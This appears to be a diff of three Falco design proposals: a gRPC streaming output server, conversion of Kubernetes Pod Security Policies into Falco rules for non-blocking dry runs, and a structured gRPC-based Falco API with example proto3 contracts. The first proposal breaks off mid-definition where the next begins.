+The motivation behind this proposal is to design a new output implementation that can meet our user's needs.
+
+### Goals
+
+- To decouple the outputs from the Falco code base
+- To design and implement an additional output mode by mean of a gRPC **streaming** server
+- To keep it as simple as possible
+- To have a simple contract interface
+- To only have the responsibility to route Falco output requests and responses
+- To continue supporting the old output formats by implementing their same interface
+- To be secure by default (**mutual TLS** authentication)
+- To be **asynchronous** and **non-blocking**
+- To provide a connection over unix socket (no authentication)
+- To implement a Go client
+- To implement a Rust client
+- To implement a Python client
+
+### Non-Goals
+
+- To substitute existing outputs (stdout, syslog, etc.)
+- To support different queuing systems than the default (round-robin) one
+- To support queuing mechanisms for message retransmission
+  - Users can have a local gRPC relay server along with Falco that multiplexes connections and handles retires and backoff
+- To change the output format
+- To make the message context (text, fields, etc.) and format configurable
+  - Users can already override rules changing their output messages
+- To act as an orchestrator for Falco instances
+
+## Proposal
+
+### Use cases
+
+- Receive Falco events with a well-defined contract over wire
+- Integrate Falco events with existing alerting/paging mechanisms
+- Integrate Falco events with existing monitoring infrastructures/tools
+- Falco outputs SDKs for different languages
+
+### Diagrams
+
+The following sequence diagram illustrates the flow happening for a single rule being matched and the consequent alert through the gRPC output client.
+
+![Single alert sequence diagram](20190826-grpc-output-single-alert-sequence.png)
+
+### Design Details
+
+Here is the proto3 contracts definitions for the client and the server SDK.
+
+```proto3
+syntax = "proto3";
+
+import "google/protobuf/timestamp.proto";
+import "schema.proto";
+
+package falco.outputs;

+option go_package = "github.com/falcosecurity/client-go/pkg/api/outputs";
+
+// This service defines the RPC methods
+// to `request` a stream of output `response`s.
+service service {
+  // Subscribe to a stream of Falco outputs by sending a stream of requests.
+  rpc sub(stream request) returns (stream response);
+  // Get all the Falco outputs present in the system up to this call.
+  rpc get(request) returns (stream response);
+}
+
+// The `request` message is the logical representation of the request model.
+// It is the input of the `output.service` service.
+message request {
+}
+
+// The `response` message is the representation of the output model.
+// It contains all the elements that Falco emits in an output along with the
+// definitions for priorities and source.

+# Support for K8s Pod Security Policies (PSPs) in Falco

+
+## Summary
+
+We want to make it easier for K8s Cluster Operators to Author Pod Security Policies by providing a way to read a PSP, convert it to a set of Falco rules, and then run Falco with those rules.
+
+## Motivation
+
+PSPs provide a rich powerful framework to restrict the behavior of pods and apply consistent security policies across a cluster, but it’s difficult to know the gap between what you want your security policy to be and what your cluster is actually doing. Additionally, since PSPs enforce once applied, they might prevent pods from running, and the process of tuning a PSP live on a cluster can be disruptive and painful.
+
+That's where Falco comes in. We want to make it possible for Falco to perform a "dry run" evaluation of a PSP, translating it to Falco rules that observe the behaviour of deployed pods and sending alerts for violations, *without* blocking. This helps accelerate the authoring cycle, providing a complete authoring framework for PSPs without deploying straight to the cluster.
+
+### Goals
+
+Transparently read a candidate PSP into an equivalent set of Falco rules that can look for the conditions in the PSP.
+
+The PSP is converted into a set of Falco rules which can be either saved as a file for later use/inspection, or loaded directly so that they can monitor system calls and k8s audit activity.
+
+### Non-Goals
+
+Falco will not automatically read PSPs from a cluster, will not install PSPs, and will not provide guidance on the parts of your infrastructure that are already covered by PSPs. This feature only helps with the testing part of a candidate PSP. For coming up with an initial PSP, you can use tools like [https://github.com/sysdiglabs/kube-psp-advisor](Kube PSP Advisor).
+
+The use case here is for cluster operators who want to author PSPs, but don't want to just put it in a cluster and see what breaks. For example, if your PSP sets privileged to false, but it turns out some of your pods are running privileged, they won't be able to start.
+
+With this feature, they could iterate without enforcement until they have a PSP that matches the actual behaviour of their cluster. Some of that will come from changing the PSP, some of that will come from changing the behaviour of the cluster. The important part is that it's not mistakenly preventing things from running while you're figuring it out.
+
+## Proposal
+
+### Use cases
+
+You'll be able to run falco with a `--psp` argument that provides a single PSP yaml file. Falco will automatically convert the PSP into an equivalent set of Falco rules, load the rules, and then run with the loaded rules. You can optionally provide a `--psp_save=<path>` command line option to save the converted rules to a file.
+
+### Diagrams
+
+No diagrams yet.
+
+### Design Details
+
+* We'll use [inja](https://github.com/pantor/inja) as the templating engine.
+
+* For the most part, we can rely on the existing framework of rules, filter expressions, and output expressions that already exist in Falco. One significant change will be that filter fields can extract more than one "value" per event, and we'll need to define new operators to perform set comparisons between values in an event and values in the comparison right-hand-side.
+
+* This will rely heavily on existing support for [K8s Audit Events](https://falco.org/docs/event-sources/kubernetes-audit/) in Falco.

+# Falco APIs
+
+## Summary
+
+This is a proposal to better structure the Falco API.
+
+The Falco API is a set of contracts describing how users can interacts with Falco.
+
+By defining a set of interfaces the Falco Authors intend to decouple Falco from other software and data (eg., from the input sources) and, at the same time, make it more extensible.
+
+Thus, this document intent is to propose a list of services that constitute the Falco API (targeting the first stable version of Falco, v1.0.0).
+
+## Motivation
+
+We want to enable users to use third-party clients to interface with Falco outputs, inputs, rules, and configurations.
+
+Such ability would enable the community to create a whole set of OSS tools, built on top of Falco.
+
+Some examples, already in place, are:
+
+- [falcoctl](https://github.com/falcosecurity/falcoctl)
+- [falco-exporter](https://github.com/falcosecurity/falco-exporter)
+
+## Goals
+
+- To design and implement an API to make Falco more configurable
+- To design and implement an API to make Falco more consumable
+- To have an API so that users are able to interface with Falco
+- To design a set of simple contract interfaces
+- To have an API which is secure by default
+- To implement this API in C++ using gRPC as a first implementation
+
+## Non-Goals
+
+- To replace the existing inputs: the **inputs** will be only for new source events users may want to add, initially
+- To document the API: to be approached as separate task
+- To create/update the API client: to be approached as a separate task
+
+## Proposal
+
+### Use cases
+
+- Receive Falco events with a well-defined contract --> **outputs**
+- Receive Falco drops with a well-defined contract --> **drops**
+- Receive current Falco version and related meta information (commit hash, built type, etc.) --> **version**
+- Configure Falco via API (CRUD) -> **configs**
+- Inject and/or modify Falco rules via API (CRUD) --> **rules**
+- Send input events to Falco --> **inputs**
+
+### Unary services
+
+1. Version
+2. Rules
+3. Configs
+
+### Streaming (server or client) services
+
+1. Outputs
+2. Drops
+
+### Bidirectional streaming services
+
+1. Inputs
+
+### Architecture
+
+We propose to have:
+- 1 gRPC server
+- 1 service grouping services
+
+This translates in having the following set of `proto` files.
+
+- a `.proto` containing the **request** and **response messages** for each service - eg., `version.proto`, `outputs.proto` etc.
+
+    For example,
+    ```proto3
+    # version.proto
+    message request
+    {
+      ...
+    }
+
+    // The `response` message contains the version of Falco.
+    // It provides the whole version as a string and also
+    // its parts as per semver 2.0 specification (https://semver.org).
+    message response
+    {
+    string version = 1;
+      uint32 major = 2;
+      uint32 minor = 3;
+      uint32 patch = 4;
+      string prerelease = 5;
+      string build = 6;
+    }
+    ```
+
+- one or more `.proto` containing the command models - ie., the already existing `schema.proto` containing source enum, etc.
+
+    ```proto3
+    # schema.proto
+    enum priority {
+      ..
+    }
+    enum source {
+    option allow_alias = true;
+      SYSCALL = 0;
+      syscall = 0;
+      Syscall = 0;
+      K8S_AUDIT = 1;
+      k8s_audit = 1;
+      K8s_audit = 1;
+      K8S_audit = 1;
+    }
+    ```
+
+- a `.proto` for service definitions
+
+    For example,
+    ```proto3
+    service api {
+      rpc version(request) returns (response);
+      rpc outputs(request) returns (stream response);
+      rpc drops(request) returns (stream response);
+      ...
+    }
+    ```
